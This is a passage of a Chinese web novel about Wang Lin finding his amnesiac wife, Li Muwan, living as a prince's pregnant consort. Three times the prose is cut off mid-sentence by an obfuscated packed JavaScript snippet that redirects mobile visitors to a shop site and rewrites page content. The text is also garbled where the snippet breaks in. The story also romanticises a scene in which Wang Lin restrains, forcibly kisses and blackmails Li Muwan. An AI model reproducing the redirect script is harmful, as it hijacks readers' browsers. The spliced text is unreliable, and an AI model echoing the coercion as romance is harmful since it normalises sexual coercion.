当目光笼罩在此人身形时,一股莫名的熟悉冲入脑海,抽动着,心在这一刻既然没由来的骤跳不止,这种感觉让她很难受却又找不到源头。 她望着如瀑的银发,思绪乱了。 成嬷嬷见状在身后低声提醒她倒酒,李慕婉勉强压制着突如其来的窒息,面色淡然地给他满上酒。 可自始至终王林都没抬头,她鬼使神差地想要看一眼白衣男子的面容,伴着清泠婉转的声音,荡在王林耳侧。 “先生,请酒。” 这声音! 王林猛然抬头,深入骨血的面容,在日夜往复,千百转中念了无数遍的人,此刻便站在他的眼前。 “婉儿?”王林蓦然起身抓住她手腕,若非隔着席桌,此刻他恐怕早已抱了上去。 那是一张无比熟悉刻入他骨髓的脸,可为何她的眼神却陌生透了。 李慕婉显然被这举动吓着了,抽着手想要往后退,因为白衣男子这张脸。 她不认得。 “先生,请自重。”李慕婉提醒道,对他的唐突之举略有不适。 程贤连同在坐的众人见他此举唏嘘不已,低语不断,就连烨恒也顿然起身。 “王林,你这是何意?”烨恒曷厉道,听得出声音带着几分怒意,可王林置若罔闻,抓着手腕的掌心握得更紧。 他眉眼含着让李慕婉疑惑的情愫,沙哑道,“婉儿?我是王林啊。” 这程将军带来的一位谋士,大庭广众之下竟然非礼王妃,诸如此类言语传入燕王耳中,燕王府卫霎时拔刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204332|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刀刃擦着刀鞘清脆入耳,围上程贤三人。 “王林。”程贤提醒道。 “婉儿?你怎么了?”王林目无他人,痛苦地唤着她,可是李慕婉的反应让他泄气。 她不认识自己? “先生,还请自重。”李慕婉莫名望着他,摇了摇头满是疑虑。 王林没要放手的意思,“婉儿,我是王林,你不记得了?” 燕王面子挂不住,再次冷声斥责道:“程将军这是何意?本王设宴款待已是给足体面,这王先生却如此对待本王王妃,是否太不把本王放在眼底了。” “我叫宋玥,是燕王府王妃,并非先生口中之人,先生认错了。”察觉手腕上的力道有所松,李慕婉得空抽回手,心有余悸的防备着他,急忙走开了。 可那炽热的目光不断在脑子回荡,她很确定自己不认识此人,可为何却如此熟悉。 成嬷嬷搀扶着她回了坐席,燕王忙着关切她腹中可有异样,李慕婉摸了摸小腹,摇摇头。 王林久久立在原地,视线却一直裹着李慕婉,见她与烨恒举止亲近,双眸血红,指骨似乎都要捏断了。 燕王注视着他,“王先生为何这般盯着本王王妃?” 罗裙之下把隆起的小腹遮掩了,不仔细看瞧不出来。 他这才发觉这位自称王妃的女子已有身孕,难不成只是因为相似,可世间即便有再相似之人,又怎么会连神情和声音,乃至气质都一模一样,他不可能会认错她的。 王林抱拳,哑着声音说:“王妃与王某一位故人委实相似,适才失了分寸,抱歉。” 说罢目光还是忍不住要瞧她,他更是确定了,不是像,就是她。 脑海里问题不断涌出,她为何会在王府,成了燕王妃,还有她腹中胎儿又是? 随即燕王便说:“既是认错,本王又怎会耿耿于怀,王妃已有五月身孕,大夫说了是双生儿。” 烨恒这话是说给所有人听的,王府有了子嗣,今日让怀有身孕的李慕婉出现在席上,就是要稳定燕州内的官员和王室宗亲。 酒盏映着他痛苦的神色,五个月?李慕婉失信到今已有半年多,这期间她是如何到了王府,若她因着落水真的失去记忆了,烨恒见色起意,哄骗她成了王妃也不一定。 思及此处,心底汹涌澎湃的怒火和愧意无止境地泄出。 酒盏碎了。 血淋淋的掌心无力垂着,白衣染上血迹,程贤察觉他今夜的不对劲,再看那王座上的女子,以为是他见着与妻子相似容貌之人,才失了分寸。 酒侍给他换了新的酒盏,时间流逝。他的视线从未移开,只是李慕婉察觉那股强势的目光再也坐不住,起身与燕王请辞回了别院歇息。 席上弦乐声再起,舞姬轻舞。 “婉儿?你到底要如何才能记起我?” 王林索性拿起酒壶,一杯一杯饮下,眼眶不知何时流下两行清泪,滴入酒里,苦涩混合着酸楚,连同辛辣一并入喉。 那独自买醉的背影颓在暗夜下,阵阵余音中倍显落寞,席桌上酒壶七零八落,都是空的。 李慕婉回了别院后,燕王对今日王林之事也有所疑惑。据他所言,李慕婉与他故人模样相似,而她又失了记忆,世间巧合吗? 李慕婉已经疲惫,燕王念及她的身子,把这些疑虑都藏下,只派了大夫前来把脉看诊,给她开了些安神香睡下。 回到军帐的王林失魂落魄,脑子都是宴席上李慕婉的身影。 帐内酒壶横七竖八,他又喝上了。 程贤挑帘入内,叹气道,“王林,那燕王府的王妃……” “程贤,不用找了,她就在那。”王林靠着桌脚,手撑着膝盖,还拿着一壶酒,说罢又再次饮下。 “什么?”程贤诧异,“你说那王妃就是弟媳?” “是她。”王林声音苦涩。 “程贤,以你所知,燕王先前可有王妃?”王林理智尚存。 “老王爷走后,就留下一个世子,也就是如今的燕王烨恒,若非烨恒无嗣,朝廷削藩才更有把握。我还纳闷先前燕州态度友好,后来为何突然又转变了,原是已经有了子嗣,今夜宴席故意让怀有身孕的王妃出来面见,就是在提点我们,提点燕州之下的宗亲和官员。” 王林手中握拳,听得见骨头的声音,程贤沉思政事分析中,一时忘了这茬。 既然王妃是他妻子,此刻又怀了燕王子嗣,不知他该做何种感想。 62.不识 夜深后,程贤出了帐子,王依依醒来不见王林,吵着要找爹爹,许立国只能给她带到王林帐子内。 王林见着女儿藏了苦色。寂夜之下,他抱着王依依仰头观月,夜风微凉,白发铺在银河下,王依依抓着他头发玩,不知爹爹在想什么。 星辉闪闪,装着湿雾的眼眶倒映起星光,王林眼角留下两行清泪,抿着唇看的出来在克制。 他不想女儿听得哭声,只是宴席上的画面越发清晰了,李慕婉就在跟前,那是他的妻子,却成了旁人的王妃。 她不记得自己了。 “婉儿。”王林呢喃唤着,“我该如何才能把你救出来。” 他的心撕碎了,还要把那些碎片踩入泥泞里,她怀了身孕,是别人的孩子。 他只怪自己没能保护好她。 落水后她受了什么苦?王府里待得可好? 热泪滚烫如洪流止不住滑落,滴到王依依头上,她抬眸仰望着爹爹。 王依依举着小手,努力踮起脚尖,抹了聚在他下颌处的泪珠,“爹爹哭了。” 王林闭上眼,满腹酸楚艰难吞落,俯首看着王依依,视线是模糊的。 她眼睛睁得圆,王林努力扯出笑,抚着她的脑袋,声音哽咽,“依依乖。” “爹爹又想娘亲了。”王依依知道,他只有想娘亲的时候才会哭得那么伤心,说着又上手替他擦了泪痕,“爹爹不哭,依依陪着爹爹。” 王林抱紧她,王依依贴着父亲的胸膛,夜风被他挡下,吹不进来。 四野下,蝉鸣响彻山林,直至后半夜被鹧鸪声遮盖,军榻上王依依睡着了。王林撑着手在案桌画着图,那是燕州地势图。 若燕王要降,就不会把希望寄托在腹中胎儿上,燕王目的明确,誓死不愿削藩,燕州要反,程贤这仗得打。 燕王若败,李慕婉此时身为燕王妃,恐怕涉事牵连其身,起兵前,他必须要把人带回来。 而今夜燕王虽说思虑,可态度足以见得明确。 眼下两军还处交谈中,燕王未第一时间拒绝程贤提出之意,看似考量,实则拖延。 程贤和王林深谙其中,几进几出燕州城谈判,燕王均已王妃身子不适为由,中断谈判。 而王林那夜的异常反应,引起燕王的疑心,府中燕王妃失忆,记不得前事,而王林却道她像故人,难免让人多想。 李慕婉摸着隆起的小腹,日复一日的王府生活,虽说安逸,却也乏味,从前之事仍然是记不起来。 燕王望着莲花池旁的倩影,竟然陷入沉醉,不得不承认,她生了个好模样,举手投足中的气质仿若是这莲池的仙子。 在这一刻他竟然起了怜惜之意。 “玥儿赏花?”烨恒走近她,声音都柔了。 “见过王爷。”李慕婉朝他福身行礼。 “大夫说你身子重不便行礼,礼数往后都免了。”燕王要扶,李慕婉自己起了,他没碰着人,略显尴尬地收回手。 “成嬷嬷说,王爷这些日子都在跟程将军谈判,政事上我也帮不了你什么。”李慕婉一副善解人意模样。 燕王满是愤恨道:“朝廷这几年都在逼迫燕州交出兵权,只有通过削藩把本王手中兵权分散,从而掌控燕州政权,可燕州这几十年都由父王管辖,替朝廷镇守几十年的边境,凭什么朝廷想收就收,用完即弃。” “倘若朝廷执意要收回兵权,王爷是不是要与朝廷开战?”李慕婉略微担忧。 “这些本王会处理的,王妃不必跟着忧心,你只管好好养着身子,替本王生下世子,一切都可迎刃而解。”烨恒安抚她。 李慕婉点头没再问。 燕王视线落在她腹中,又摆出满不在意的模样问,“夜宴中,我瞧那王林对你一见如故,玥儿对此人怎么看?” “我也不知,”李慕婉细想,“不过我记忆里确实没有这么一个人。” 燕王担心她再想起什么,又叫了府中大夫开了些让她忘记前尘的药方服用。 李慕婉待在王府属实憋闷,主动提道:“听说城内过两日重阳有烟火灯会,王爷,我能出府去看看吗?” 燕王迟疑道:“灯会人多,你这身子不便,本王担心……” “有成嬷嬷她们呢,府中人侍奉得细心,王爷若是担心,可要一同前去?”李慕婉主动道。 重阳夜已经约见程贤等人谈判,自然抽不开身,李慕婉故意这么提,便知他无暇抽身,也不会再好驳了她意。 燕王瞟了眼成嬷嬷,没有拒绝的理由,便说:“本王要事在身,恐不能抽身,府里派些人跟着,成嬷嬷贴身伺候,玥儿早去早回。” 李慕婉得了准允,心情也畅快了,只是夜深转辗间,宴席那位白发男子的神情又淡出脑中,他注视自己时的目光,比烈焰还要强势,几乎要融了她。 他?与自己相识吗? 不识,可为何总觉得熟悉。 识,却为何不记得了。 成嬷嬷见李慕婉以来,从未见她如此精心装扮,一个灯会而已,倒像是初开的小姑娘藏不住心中期许,要会情郎般用心点缀。 “王妃从前可有去过灯会?”成嬷嬷给她选了几支发钗。 李慕婉斟酌须臾,挑了件简单的莲花簪,坠了些流苏。 她想了想才道:“不记得了,以前王爷带我去过吗?” 成嬷嬷很快反应,“王爷还是世子时,便忙于协助老王爷处理政务,与王妃成亲后,愈发忙碌,老奴所知,自是没有的。不过王爷待王妃一向情深,王妃落水后,王爷茶饭不思,消瘦不少。” “这样吗?”李慕婉扯着思绪,努力想着二人以前相处时的情景,脑中仍是空白的,就连心境都没有。 夜幕笼罩燕州城,随之而来的是万家灯火,城内点了无数天灯,宛若高空悬挂的星辉,街道人流拥挤,灯笼挂满街道,成为最亮眼的街景。 人群挤过时,一盏盏的暖色灯笼打在面颊上,百姓的笑容满面,若是再起纷乱,这些恐怕都只能是昨日之景了。 孩童的嬉闹与马车轱辘滚在一起又淹没在人潮声里。 *** 街道一座阁楼上,许立国无时无刻不得盯着王依依,生怕她跑开了就找不到。 可王依依乖得很,跟着王林出来的这半年里,什么新鲜事都玩过了。 准确来说,大多时候都是许立国带着她玩儿,故而这样繁闹的集市对于王依依来说,已经习以为常。 最主要的还是王林离开时的嘱咐,自爹爹头发白后,她总能在夜里看见爹爹哭,懂事的依依只想着自己乖一些,再乖一些,如此娘亲就会回来了,爹爹也不会再一个人躲着哭。 她很听王林的话。 王府宴席谈到一半,王林便离开了。 李慕婉的马车停在燕州城最大的酒楼外,王依依撑着下巴,盯着楼下的人流,手里抓了一块小点心,跟喝酒的许立国说话,“许立国叔叔,爹爹说娘亲在燕州,可却没说什么时候把她带回来。” “你爹说的话什么时候不作数过?”许立国这话听了好多遍,自顾倒了一杯酒,又给她倒了一杯甜饮。 王依依小口喝着,“许立国叔叔,什么时辰了?” “亥时没到。”许立国说。 “你在喝什么?”王依依看了眼自己杯子,又看了看他的。 许立国赶忙捂紧杯口,“酒,小孩不能喝。” 王依依尝过,辣的,自顾喝下一口甜饮,小腿晃着。 “那爹爹快回来了吧,”王依依视线随着楼下人流瞥去,“爹爹说亥时就回来带我去放天灯的。” “嗯,小祖宗再等等,我再去拿瓶酒。”许立国出了厢房,把门掩上了。 对面酒楼外林立不少王府的府卫,府兵把人群赶到三丈开外,不得靠近王府马车。待马车停稳,成嬷嬷放了张矮凳,扶着大腹便便的李慕婉下车。 这阵仗声势浩荡不免引人瞩目。 阁楼上的小人儿目睹一切,马车上下来的那抹身影熟悉极了。 “娘亲?”王依依跳下小凳,带着雀跃出了猛然开了门,从厢房往楼下跑,酒楼里宾客繁多,她仗着身板小,随意挤过人群。 而酒楼上的人听闻这阵仗忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215257|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住探出来围观,有人议论道:“这不是燕王府的马车吗?” “听说燕王接了王妃回府上,这就是那个王妃吗?” 马车驶离,李慕婉惊绝的容貌闯入众人视线,光影铺在她身上,万千灯火好似只为她一人而亮,身上的锦衣罗裙随着步子宛若步步生莲。 “这王妃堪称国色啊。” “不知王妃是哪里人士,气质出尘啊。” “燕州城何时出了这等美人?” “恐怕也就只有王爷能娶这样的女子了。” …… 酒楼大堂内挤满了人,许立国刚拿了酒,便见这阵仗不小,不免起了好奇跻身挤入人群,听得众人议论。 视线落在对面酒楼大门前,看见了刚要转身踏入酒楼的李慕婉,许立国愣在原地,酒水险些脱落了。 王依依挤出人群,她个子小,没一会儿就挤出来了,又跑过街道从府卫的空隙里穿过,无人留意间,她跑到李慕婉跟前,抱着她双腿,甜甜地唤道:“娘亲,娘亲。” “娘亲,依依好想你。”王依依蹦着腿,仰着头不断说道,“爹爹真的没骗人,他把娘亲带回来了。” 她那明明是要抱的动作,可娘亲迟迟没有要抱自己的意思。 李慕婉被这突如其来的孩子扰乱心神,不由定在原地,抓着王依依的手臂显然有些错愕,左顾右盼试图能找到孩子的爹娘,“哪来的孩子?” 成嬷嬷见状赶忙吩咐侍女扯开王依依,王依依却迟迟不松手,压根还未反应过来,只是手臂被人扯开些,她又用力抱紧些。 稚嫩的声音也急了,“娘亲,是依依啊,你不认得依依了吗?” “赶紧把这野孩子拉开,冲撞了王妃和小世子谁都担当不起。”成嬷嬷曷厉道,府卫这才上前提欲要提起王依依。 李慕婉见府卫要动粗便制止道,“住手。” 她望着王依依,她小脸哭花了,“你是不是跟你娘亲走散了?” “娘亲,你就是我娘亲。”王依依紧紧抓着她裙摆不放。 李慕婉肚子大,蹲不下身,只能俯视着她。 “娘亲,我是依依,娘亲不要依依了吗?”王依依看着那张与娘亲一模一样的脸,可肚子却与娘亲不一样,围观人越来越多,府卫驱赶着人群,霎时间街道和酒楼热闹炸开了。 嘈杂把远处戏楼的声音掩盖,人声鼎沸,王依依怕极了,想找爹爹,想要爹爹告诉自己那就是娘亲,可她还记得爹爹没回来,便又想起一人,环顾四周寻着许立国身影。 “许立国叔叔,爹,爹爹……”她无助哭着,手却不愿意放开李慕婉裙摆,生怕一松手,娘亲又不见了。 “小孩,这不是你娘亲,这是王妃,王妃心善不忍苛责你,倘若再纠缠,就不要怪老奴无礼了。”成嬷嬷恐吓道。 “爹爹,娘亲在这……”王依依使劲往她身上钻,躲着成嬷嬷,嘴瘪了下去,哭声越响。 李慕婉很是无奈,吵吵嚷嚷中,一声震慑穿过人群,只见男子身着白跑,一头银发飘逸空中,镇定自若地走到府卫围起的人墙。 “让道。” 府卫被这人气势逼迫,可没有王府命令,断然也不会退让。 李慕婉抬眼,对此人记忆深刻,是那晚宴席上把自己视作故人的他。 王依依听出王林声音,拽着李慕婉的衣袖朝他喊道:“爹爹,依依找着娘亲了。” 李慕婉见状也明了了,这孩子是他的,随即命令道:“让王先生进来。” 被人群堵住的许立国喟叹道:“我勒个乖乖,这世上当真有如此相像之人?”手里的酒壶掉落,浇湿了衣褂。 王林肃穆走近,隐下了心底的冲动,压制着,眉头紧锁,可那衣袍下的正人君子早已疯癫无状。 面对女儿凄厉的哭声,他蹲下身,轻轻掰开她紧攥李慕婉裙摆的小手,“依依来,乖。” “爹爹,是娘亲。”王依依这才听话松了手,搂着他脖颈,王林顺势起身把王依依抱在怀里。 灯火下,两人四目相对,于他是恍如隔世的重逢,于她却是懵懂不知的陌生。 63.狂徒 “这是王先生的女儿?”见着王林炽热的目光与那晚无异,四下眼杂,她率先岔开话题问道。 “是。”王林说,“依依想娘亲了,故而方才失了分寸,灯会人多,你身子不便,应当小心着。” 李慕婉心里思量着,此人很奇怪,不与女儿解释自己并非她娘亲,也不尊称自己为王妃,眼神中总有一股道不明的情意,让她心烦意乱。 “多谢王先生挂心。”李慕婉转身就要走,王林并未拦下,怀中的王依依躁动瞪着腿想扑上去。 “娘亲……” 王林擦掉她眼泪,围观的人群也散了。 王林久久注视着远去的背影,王依依满是不舍抽泣着:“爹爹,为何不与娘亲一起走?” “娘亲不要依依了吗?她为何不认我。” 王林轻声哄道:“依依不哭,娘亲不是不要依依了,她只是不记得了。” “娘亲怎么了?” 他也不知道,可还是扯着笑安慰她,“等娘亲记起来,咱们就带娘亲一块回家,好不好?” “好。”王依依乖巧点头,她知道爹爹不会骗人,他说娘亲在这,今夜她便瞧见了。 可她还有很多问题要问,譬如娘亲的肚子怎么不一样了,娘亲穿的衣服她从未见过,还有她身边的人也都不认识。 人流散去,许立国这才艰难挤出来,去迎着王林,讪笑道:“主子,主子回来了。” 王林余光睨着他,许立国背脊一凉,赶忙解释道:“主子,小的有罪,没看好小主子,方才那王妃一到对面酒楼,就围得水泄不通,小的也挤不进去,这才让小主子跑出去了。” 他没责怪,让李慕婉见着王依依,或许能让她想起什么。 几人又回了厢房,从阁楼望向对面,能看见李慕婉等人上了几楼。 许立国又拿了几壶酒,王林喝了几口,视线却一直没移开过。 “主子,那真的是主母?”许立国好奇,“怎么成了王妃啊。” 王林不应他,只是喝着闷酒,许立国得不到回应躲远了,又被王林叫回来:“许立国。” “主子。”许立国猛然从栏杆跳回来,“主子有何吩咐。” “看着依依,我没回来之前,哪都不要去。”王林说罢纵身消失在阁楼上。 李慕婉的厢房里只留了成嬷嬷一人在内伺候,适才的情景仍在脑子回荡,那女童见着自己便喊娘亲,王林又称自己像是故人。 她越往下思索,越觉不可思议,自己明明是燕王府王妃,全王府上下都知自己与燕王情深,可她却丝毫未觉,甚至醒后几月仍是生分。 难不成,原先自己还未与燕王相识前,与此人有过交集?还是说自己当初真的留下过什么风流债,她把能想的都想了,却都无法证明哪种才是真实的。 成嬷嬷见她心神不在,关切道:“王妃莫要为适才的事忧心了,若王妃不适,要不咱们先回王府?” 李慕婉抬手打断,“天灯不是子时才点吗?王爷说这是燕州城最高的酒楼,能看到满城的灯火,我岂能辜负王爷心意。” “成嬷嬷,我想一个人静静,替我送些甜饮和酸果子进来吧。” “老奴这就去。”成嬷嬷安排下去,待甜饮和点心送入,李慕婉没打算留人。 “你们出去候着,若无我召唤,莫要进来打扰。” 索性门外都是府卫监查,成嬷嬷便退出去了。待房门掩上后,李慕婉走到窗边,俯身往下时,万家灯火尽收眼底,入夜的风刮得人舒适,就是有些凉意,把那些杂乱无章的思绪吹散了。 就在她转身之际,窗台上似有动静,再次回眸时,一抹白影定格在她眼前。 李慕婉刚要出声,后腿了几步,王林上前抵住她后腰,一手轻捂着她嘴,压低声音:“别喊。” 李慕婉心有害怕,提防他,可想要腹中胎儿无碍,她又只能点头。 “我来不是伤害你的。”王林松了手,李慕婉站定再后退了几步。 “先生这是何意?” “婉儿,”王林本已做好心里准备,可面对她的陌生和防备,还是心如刀割。 “你是谁?”李慕婉充满疑惑,自打那晚夜宴开始,她的疑虑从未消散。 “你不认得我?” “你到底是谁?” “我是王林,婉儿当真不记得我了?” “我知道你,”李慕婉盯着他说,“程将军的谋士,王爷曾夸赞过你。” “至于你口中的婉儿,我不知道,这不是我。”李慕婉摇着头很是认真。 “我叫宋玥,是燕王府王妃。” “你不是。”听着她亲口承认燕王妃的身份,王林近乎失了理智低吼着,又见她花容失色,一股钻心之痛不断锤打着他。 “你是李慕婉,是我的妻子,”王林只陷在自己的情动里,“婉儿,我是你夫君啊。” “你看看我,我是王林,你的夫君啊。”王林说着捧上她的面颊,李慕婉吓坏了,躲掉他。 立挺的五官拧在一团,心都裂了,碎成灰烬。 “你不记得我了,你只是不记得我了。”他固执着不放手,眼神一遍遍看着她面颊。 李慕婉挣扎些许,威胁道:“你若再不放手,我便喊人了。” “你喊,”王林并未表现害怕,进而是疯狂无状,“若他们进来,将我抓走,处以极刑,往后我便不会再痴缠于你。” 李慕婉眉眼闪过犹豫,王林捕捉后心底露出一丝欣喜,即便她不记得,可身体本能反应是最真实的。 他就在得到这一证实里,失了端方,忽的朝那红唇吻了下去,李慕婉蓦然愣在原地,男子的气息覆上自己,这感觉很熟悉,可是她想不起来。 见她没反应,王林再次深入,探着软舌,他身上的酒香渗入,李慕婉被搅动时猛然拉回神,扇了一巴掌,她被吻得发软,力道却不是很大。 “狂徒,”李慕婉骂道,“你怎可,怎可……” 王林愣了片刻,又扯出笑意,抓过她双腕摁在身后,不让她躲,更放肆地吻着她,挣扎中动静惊着门外,成嬷嬷朝里边喊道:“王妃?” 身前压着的王林没松开,李慕婉抵着他,“你放开,无耻之徒。” “你此刻只有两种选择,其一,让他们进来,看见燕王府王妃与朝廷谋士温情,王府容不下你,我来带你走。其二,婉儿下令让他们候着,免得扰了你我二人之事。” 李慕婉思虑后,只能对着门外的人再次说:“无事,无我召唤不得入内。” 他的气息已蔓延耳后,李慕婉轻颤着,斥责道,“王林,你放肆。” 耳后的温热划过颈侧,她不由得仰起头,白皙的脖颈露在他眼底,王林埋首缠着那细物。 她挣扎不掉,仰着脖颈,“你,宴席,宴席上你本已冒犯,若非王爷大度,早就将你格杀,你今夜还敢趁人之危,你……” 王林不想听到她口中关于燕王的一切,再次吻了上去,缠着她,吮着她,从一开始霸道转而温柔,李慕婉神魂丢了,竟然忘了抵触,只是呆呆地允许他的冒犯。 王林朝那肩颈处狠狠咬下,舌尖滑动着颈窝,李慕婉全身酥麻,无力支撑沉重的身子,王林在这时松开了她,又说,“放肆?婉儿,你我才是夫妻。” “本就有夫妻之实,何为冒犯?” 窗外天灯燃起,透过窗户照着二人身影,李慕婉面颊红晕,他喝酒了。 李慕婉感受着他身上的酒气,质问道:“王先生,你喝醉了,才说如此冒犯之言,今夜之事我可以不计较,你此刻离去,便当无事发生。” “这样也可以当无事发生?”王林手往上移,似乎带了些挑衅。 “你……”奈何她动弹不得,这人力气大,她挣扎不掉。 王林回想说,“是了,婉儿从前喝醉也喜欢亲人的,你还记得吗?” “婉儿,”王林擒着她下颌,移到窗外,“还记得永正十年的重阳,我们一块去看的天灯吗?” “你,你松开。”李慕婉被逼得无路可退,两人面颊紧紧贴着,可她好似并不讨厌这种感觉,她所有的抗拒,都来源于她不记得这人,来源于她王妃的身份,不该与旁的男子有肌肤之亲或是亲密之举。 王林绕过她立在身后,双手环抱姿势,贴着她耳侧,很是挑逗的说:“阿兄,你压得我喘不过气了。” “你,你在说什么?” 李慕婉被挑得红透了,气息入耳,话语带了无尽的暧昧,可她不明白他此话之意。 “这是我们一块看天灯时,我与婉儿拥吻,婉儿说的话。”王林知道她或许记不起来,可是那外袍下的人,早已溃不成军。 他本不自称君子,实难以正人君子度量,看着她被人称之王妃。这副躯壳之下早已疯了,李慕婉只能是他王林的。 他把那半年积攒的思念和话,混成一遍遍的热浪,潮涌拍打着她,这让李慕婉心生困惑,她不确定他是不是编造的谎言只为戏弄她。 “你既认得我是谁,”李慕婉镇定道,“那我为何会是王府成了王妃,你且说不出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228588|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今夜就是轻薄我的狂徒,两军还在谈判,你做为谋士,欺辱王妃,胆大包天。” “婉儿,”王林不舍松了手,却紧紧牵着她手,“陪我再看一次天灯吧。” 李慕婉竟然没有拒绝,只是受着手心的温度和力道,定定看着他的侧脸,想要从中看出些什么。 银发随风搅动,把分明的轮廓暴露无遗。 这张脸好生熟悉。 然而心口突如其来一阵绞痛,她捂住了,忍耐着,却未表露,可仍是想不起来。 他是谁?难道真的如他所言,是她的夫君吗? 那王府里的烨恒又是谁? 她想不明白。 门外的人催促着,“王妃,天灯点亮,快过子时了,该回王府了。” 李慕婉没出声,只是看着王林,内心觉着他并非像是歹人,也非浪荡子弟,虽今夜举止逾越,或许是情有可原。 他所言所行,还有那个孩子的出现,不得不让她陷入沉思,她的身份当真是燕王妃吗? 眼前男子给自己的感觉,是那所谓的丈夫燕王身上所没有的。 到底是谁在撒谎,她不知。 王林捧过她脸,深深吻下去,尝着她的味道,李慕婉虽没回应,也没再躲,早在他几番强硬下,她知道躲也没用。 他不舍松开唇瓣,牵起唇角,指腹把她嘴角吻乱的口脂抹掉了,又捋顺她的发丝,把那歪掉的莲花簪重新给她插好,爱怜极了。 “你既忘了我,却不反感我与你亲近,可见这羁绊不是依靠记忆,而是身体的本能,婉儿,总有一日我会安然无恙带你离开这里,让你重新记起我。” “记起原本属于你自己的一切。” 说罢他转身跃下窗户,李慕婉走近窗台,俯身望去,却早已不见他的身影。 “王林,你到底是谁?”李慕婉朝幽暗中呢喃自语。 厢房门推开了,成嬷嬷朝窗台看去,见李慕婉仰着头望着穹宇,天灯燃过了。 “王妃,该回府了。” 李慕婉收回视线,手里似还有他的余温,城内街道人群散了些,天灯灭了,可街道悬挂的灯笼还亮着。 他走了,留在她身上的气息和余温却久久不散。 夜里入寝后,王林今夜的冒犯举动却不断牵引着她的思绪。 “我是你夫君,总有一日我会带你离开……”李慕婉回想他的话,他真是自己夫君吗?那王府那个人又是谁? “王林?”她望着充满贵气的紫色床幔,翻来覆去睡不着,荡在脑中的是与他在酒楼房内缱绻的画面。 清醒过后,她责怪自己为何要妥协任他摆布,她扯了被褥一角,蒙起脸,思绪更乱了…… *** 王依依手里拿着许立国买来哄她的糖葫芦串,她等在阁楼,见王林回来便扑了上去,手上的糖葫芦蹭了他衣袖,嘴里还有些许糖碎。 她早已会观察神色,看王林眉眼的阴郁散去,小脸贴过去,“爹爹,你是偷偷去见娘亲了吗?” 王林面露些许诧异,她哭过的眼睛还有些红肿,又见嘴角挂了糖霜,抬手给她擦净,像是哄她的,“依依怎么这么问?” “爹爹眼睛是笑的。”王依依指着他唇角说,“爹爹身上有娘亲的味道,还有娘亲的口脂……” 王林弯起嘴角,抱起人出了阁楼往城外去了。 程贤子时才从王府出来,夜里军帐内,他拿了壶酒到王林寝帐内寻人,王林未抬头已猜测来意。 掷出的酒壶被他稳稳接住,王林淡淡说:“燕王不愿同意削藩,这仗要打,就得趁早。” “你离席那么早,怎知我后面没谈拢?”程贤喝下一口。 “燕王自以为有了子嗣,便能拉拢藩王之下的宗亲势力,可削藩于宗亲也有益,朝廷所提之意,他们没敢接不过是惧怕燕王势力。”王林说,“燕王若是有诚意,便不会三番两次地与你周旋,他们要拖到入冬,大军就失了最好的进攻时机,入了冬再出兵,朝廷粮草届时供给不急,于我们不利。” 程贤拍了拍他肩头,揶揄他道,“我以为你离席独自买醉去了,既然还挂着正事。” “答应你的事,我会做到,但是燕王不诚,不必再谈,出兵就是。” “那王府那位呢?”程贤试探说。 王林目光如炬,扯下酒袋,狠戾道,“抢回来。” 李慕婉他要,她腹中胎儿他也要。 不管是谁的,即便她是失了记忆,被人哄骗,他不在乎,他只要他的婉儿安然无恙回来。 64.诛杀 燕王几次三番不给程贤明确态度,本意就是要拖延,而他也料定程贤会有所行动。 寂寥秋夜,月朗星疏,子时刚过,李慕婉这几日总在回想那夜攀窗而入的白发男子。 每当闭眼后,那股带着酒香的热气便好似扑面而来,引着她,反复念着两人紧贴一块的气息。 他虽一头银发,样貌却只有弱冠出头,生得俊朗,气质更是无话可说,可就怎得这般无礼放浪。她睁了眼,帷幔盘在眸底,如何都是他的身影。 她这是怎么了? 李慕婉摸着小腹,勉强撑起身,月色皎洁,莲池上空高挂的玉盘笼罩整个王府,蝉鸣四处隐约而来。 可她就是睡不下,庭院池子的莲花枯了,水面映得波光粼粼,风过时闪着月光。 外墙几声脚步急匆匆过去,似被人拦下,交谈声传入院墙。 在院内散心的李慕婉提着步子倾听着,声音不大,可她听得真切。 “城内要乱了,朝廷大军在攻城门,王爷吩咐,带上王妃。”那是成嬷嬷的声音。 燕州城要乱?李慕婉闪过念头,正想回屋,墙外声音把她勾了回来。 “王爷有令,务必将王妃看紧,倘若兵败,王妃是能牵制敌军的筹码。” “为何?”侍女问道。 李慕婉听得滔天秘闻,心底不由生疑。 “王爷之命,我等从就是了,哪那么多问题,”成嬷嬷说,“盯紧了,这院墙里里外外,一只苍蝇都不得飞出。” “王妃身怀六甲,怎能带去战场?王爷怎么想的。”侍女自顾念着。 